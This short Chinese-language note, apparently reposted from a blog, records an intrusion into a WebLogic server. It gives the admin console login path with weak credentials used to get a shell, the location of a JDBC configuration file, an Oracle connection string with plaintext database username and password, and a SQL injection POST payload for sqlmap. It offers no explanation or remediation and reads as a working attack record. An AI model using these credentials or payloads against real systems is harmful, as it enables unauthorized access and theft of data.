weblogic

weblogic弱口令导致getshell
**.**.**.**:7001/console/login/LoginForm.jsp
weblogic/weblogic12

 

数据库连接信息
D:/weblogic/weblogic/user_projects/domains/qn_focus/config/jdbc/jndi_qn_cc-jdbc.xml

code 区域

jdbc:oracle:thin:@**.**.**.**:1521/orcl

focususer
focuspas

 

sqlmap

post:

action=login&username=1' or 1=1 *--%20&password=aaaaaa

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

转载于:https://www.cnblogs.com/outline/p/5053762.html